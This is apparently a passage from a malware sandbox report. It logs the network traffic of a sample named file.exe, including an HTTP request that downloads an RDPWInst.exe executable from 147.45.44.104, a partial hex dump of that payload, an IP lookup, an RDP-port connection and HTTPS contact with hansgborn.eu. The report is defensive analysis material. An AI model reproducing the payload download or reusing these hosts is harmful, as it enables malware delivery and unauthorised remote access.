Oct 3, 2024 15:07:08.520855904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520872116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520884991 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520915985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521297932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521318913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521356106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521378040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521387100 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521393061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521409035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521421909 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521425962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521451950 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521483898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521497965 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521512032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521526098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521528959 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521542072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521555901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521558046 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521589041 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521630049 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521644115 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521657944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521671057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521675110 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521687031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521699905 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521703005 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521716118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521735907 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521761894 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521774054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521789074 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521800995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521821976 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521833897 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521836042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521851063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521864891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521868944 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521878958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521893978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521895885 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521908998 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521923065 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521924019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521939039 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521951914 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521953106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521976948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.521980047 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.521992922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522006989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522021055 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522022009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522037029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522047997 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522061110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522074938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522083044 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522090912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522111893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522118092 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522129059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522142887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522156000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522159100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522176027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522186041 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522217035 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522563934 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522587061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522603035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522631884 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522656918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522671938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522686005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522699118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522711992 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522742987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522747993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522763014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522777081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522790909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522792101 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522820950 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522866011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522880077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522893906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522907972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522912979 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522922993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522929907 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.522938013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.522962093 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.562964916 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.599630117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599649906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599673033 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599685907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599701881 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599715948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599729061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.599749088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.599817991 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600394964 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600438118 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600438118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600459099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600501060 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600505114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600519896 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600533962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600548029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600560904 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600589037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600790024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600802898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600842953 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.600913048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.600995064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601008892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601025105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601035118 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601041079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601068974 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601094007 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601109028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601121902 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601135015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601138115 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601151943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601161003 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601166964 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601182938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601191998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601231098 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601236105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601252079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601274967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601289034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601289988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601303101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601324081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601327896 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601347923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601361990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601362944 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601377964 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601392031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601399899 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601408005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601422071 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601432085 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601442099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601455927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601460934 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601473093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601488113 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601494074 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601505041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601530075 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601834059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601859093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601872921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601875067 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601908922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601922035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601936102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601937056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601952076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601960897 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.601967096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601982117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.601989031 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602000952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602015018 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602025032 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602030039 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602050066 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602087021 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602102041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602116108 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602129936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602134943 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602154970 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602233887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602260113 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602272034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602276087 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602312088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.602349043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602364063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602380037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.602401972 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.656488895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:46.148694038 CEST	49713	80	192.168.2.5	104.26.12.205
Oct 3, 2024 15:07:46.153615952 CEST	80	49713	104.26.12.205	192.168.2.5
Oct 3, 2024 15:07:46.153820992 CEST	49713	80	192.168.2.5	104.26.12.205
Oct 3, 2024 15:07:46.153867006 CEST	49713	80	192.168.2.5	104.26.12.205
Oct 3, 2024 15:07:46.158796072 CEST	80	49713	104.26.12.205	192.168.2.5
Oct 3, 2024 15:07:46.629789114 CEST	80	49713	104.26.12.205	192.168.2.5
Oct 3, 2024 15:07:46.632461071 CEST	49714	3389	192.168.2.5	8.46.123.33
Oct 3, 2024 15:07:46.637640953 CEST	3389	49714	8.46.123.33	192.168.2.5
Oct 3, 2024 15:07:46.637742043 CEST	49714	3389	192.168.2.5	8.46.123.33
Oct 3, 2024 15:07:46.638144970 CEST	49714	3389	192.168.2.5	8.46.123.33
Oct 3, 2024 15:07:46.641474009 CEST	49713	80	192.168.2.5	104.26.12.205
Oct 3, 2024 15:07:46.643129110 CEST	3389	49714	8.46.123.33	192.168.2.5
Oct 3, 2024 15:07:46.643204927 CEST	49714	3389	192.168.2.5	8.46.123.33
Oct 3, 2024 15:07:46.646446943 CEST	80	49713	104.26.12.205	192.168.2.5
Oct 3, 2024 15:07:46.756611109 CEST	80	49713	104.26.12.205	192.168.2.5
Oct 3, 2024 15:07:46.813180923 CEST	49713	80	192.168.2.5	104.26.12.205
Oct 3, 2024 15:07:46.848289967 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:46.848340988 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:46.848408937 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:46.857234001 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:46.857254028 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.339584112 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.339678049 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.345309973 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.345321894 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.345598936 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.390861034 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.394984961 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.435419083 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.493746042 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.494704008 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.494724989 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.864528894 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.864619970 CEST	443	49715	188.114.97.3	192.168.2.5
Oct 3, 2024 15:07:47.864680052 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.873677969 CEST	49715	443	192.168.2.5	188.114.97.3
Oct 3, 2024 15:07:47.936197996 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:47.938064098 CEST	49713	80	192.168.2.5	104.26.12.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 15:07:46.138724089 CEST	53406	53	192.168.2.5	1.1.1.1
Oct 3, 2024 15:07:46.145906925 CEST	53	53406	1.1.1.1	192.168.2.5
Oct 3, 2024 15:07:46.815820932 CEST	56934	53	192.168.2.5	1.1.1.1
Oct 3, 2024 15:07:46.847645998 CEST	53	56934	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 15:07:46.138724089 CEST	192.168.2.5	1.1.1.1	0x1032	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 15:07:46.815820932 CEST	192.168.2.5	1.1.1.1	0x5ab6	Standard query (0)	hansgborn.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 15:07:46.145906925 CEST	1.1.1.1	192.168.2.5	0x1032	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 3, 2024 15:07:46.145906925 CEST	1.1.1.1	192.168.2.5	0x1032	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 3, 2024 15:07:46.145906925 CEST	1.1.1.1	192.168.2.5	0x1032	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 3, 2024 15:07:46.847645998 CEST	1.1.1.1	192.168.2.5	0x5ab6	No error (0)	hansgborn.eu	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 15:07:46.847645998 CEST	1.1.1.1	192.168.2.5	0x5ab6	No error (0)	hansgborn.eu	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hansgborn.eu

147.45.44.104

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.44.104	80	6980	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 15:07:02.046128035 CEST	94	OUT	GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1 Host: 147.45.44.104 Connection: Keep-Alive
Oct 3, 2024 15:07:05.876499891 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 13:07:05 GMT Content-Type: application/octet-stream Content-Length: 1785344 Last-Modified: Thu, 26 Sep 2024 12:36:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f55533-1b3e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL#CZ4<7P@@`{^.text `.itext\|0 `.dataxP8@.bssOpL.idataL@.tls`.rdata`@@.reloc^`b@B.rsrc{`\|@@p@@
Oct 3, 2024 15:07:05.876523972 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Boolean@FalseTrueSystem4@AnsiChar@P@Char@h@ShortInt@@SmallInt
Oct 3, 2024 15:07:05.876535892 CEST	1236	IN	Data Raw: 15 40 00 42 00 f4 ff b2 15 40 00 43 00 f4 ff f0 15 40 00 42 00 f4 ff 1f 16 40 00 42 00 f4 ff 48 16 40 00 43 00 f4 ff 7c 16 40 00 43 00 f4 ff b5 16 40 00 43 00 f4 ff e0 16 40 00 43 00 f4 ff 09 17 40 00 43 00 f4 ff 35 17 40 00 43 00 f4 ff 71 17 40 Data Ascii: @B@C@B@BH@C\|@C@C@C@C5@Cq@C@C@C-@Bg@B@B@C%@CV@C@J@J@J@Ju@J@J@J@JO@Kz@J@MTOb
Oct 3, 2024 15:07:05.876625061 CEST	1236	IN	Data Raw: 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 70 53 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 10 12 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 40 10 12 40 00 01 00 01 01 02 00 02 00 33 00 48 52 40 00 06 45 71 75 61 6c 73 03 Data Ascii: Self3pS@UnitName@Self@@3HR@Equals@@Self@Obj+PR@GetHashCode@@Self38T@ToString@@Self@@[0T@SafeCallExceptionl@
Oct 3, 2024 15:07:05.876637936 CEST	1236	IN	Data Raw: 09 54 44 61 74 65 54 69 6d 65 01 02 00 8b c0 2c 1e 40 00 0e 0e 54 56 61 72 41 72 72 61 79 42 6f 75 6e 64 08 00 00 00 00 00 00 00 00 02 00 00 00 9c 10 40 00 00 00 00 00 02 0c 45 6c 65 6d 65 6e 74 43 6f 75 6e 74 02 00 9c 10 40 00 04 00 00 00 02 08 Data Ascii: TDateTime,@TVarArrayBound@ElementCount@LowBound\|@TVarArrayBoundArray(@@PVarArray@@@TVarArray@DimCount@Flags@Eleme
Oct 3, 2024 15:07:05.876650095 CEST	1236	IN	Data Raw: 63 65 02 00 f8 10 40 00 0c 00 00 00 02 0c 44 61 74 61 49 6e 73 74 61 6e 63 65 02 00 f8 10 40 00 10 00 00 00 02 0b 52 65 73 49 6e 73 74 61 6e 63 65 02 00 e8 21 40 00 14 00 00 00 02 08 54 79 70 65 49 6e 66 6f 02 00 9c 10 40 00 18 00 00 00 02 08 52 Data Ascii: ce@DataInstance@ResInstance!@TypeInfo@ReservedP#@PResStringRech#@@l#@TResStringRecModule@Identifier@H%D%D%
Oct 3, 2024 15:07:05.876662016 CEST	776	IN	Data Raw: df 7a 18 df 7a 10 df 7a 08 df 3a c3 8d 40 00 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df 68 28 df 68 30 8b 48 38 89 4a 38 df 7a 30 df 7a 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 90 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df 68 28 df 68 Data Ascii: zzz:@(hhhh h(h0H8J8z0z(z zzz:(hhhh h(h0h8H@J@z8z0z(z zzz:@y,l\|<x,<DD@,<xH9JtzD!DzDu
Oct 3, 2024 15:07:05.876811028 CEST	1236	IN	Data Raw: 89 14 24 8b 50 04 89 54 24 04 8b 50 0c f6 c2 08 75 1a 68 00 80 00 00 6a 00 56 e8 b8 fa ff ff 85 c0 74 04 33 ff eb 3f 83 cf ff eb 3a 8b de 8b ea 83 e5 f0 33 ff 6a 1c 8d 44 24 0c 50 53 e8 19 fa ff ff 68 00 80 00 00 6a 00 53 e8 88 fa ff ff 85 c0 75 Data Ascii: $PT$PuhjVt3?:3jD$PShjSut$;v+uD$$$T$PD$]_^[SVWU;;v$jD$PD$P{\|$upd$
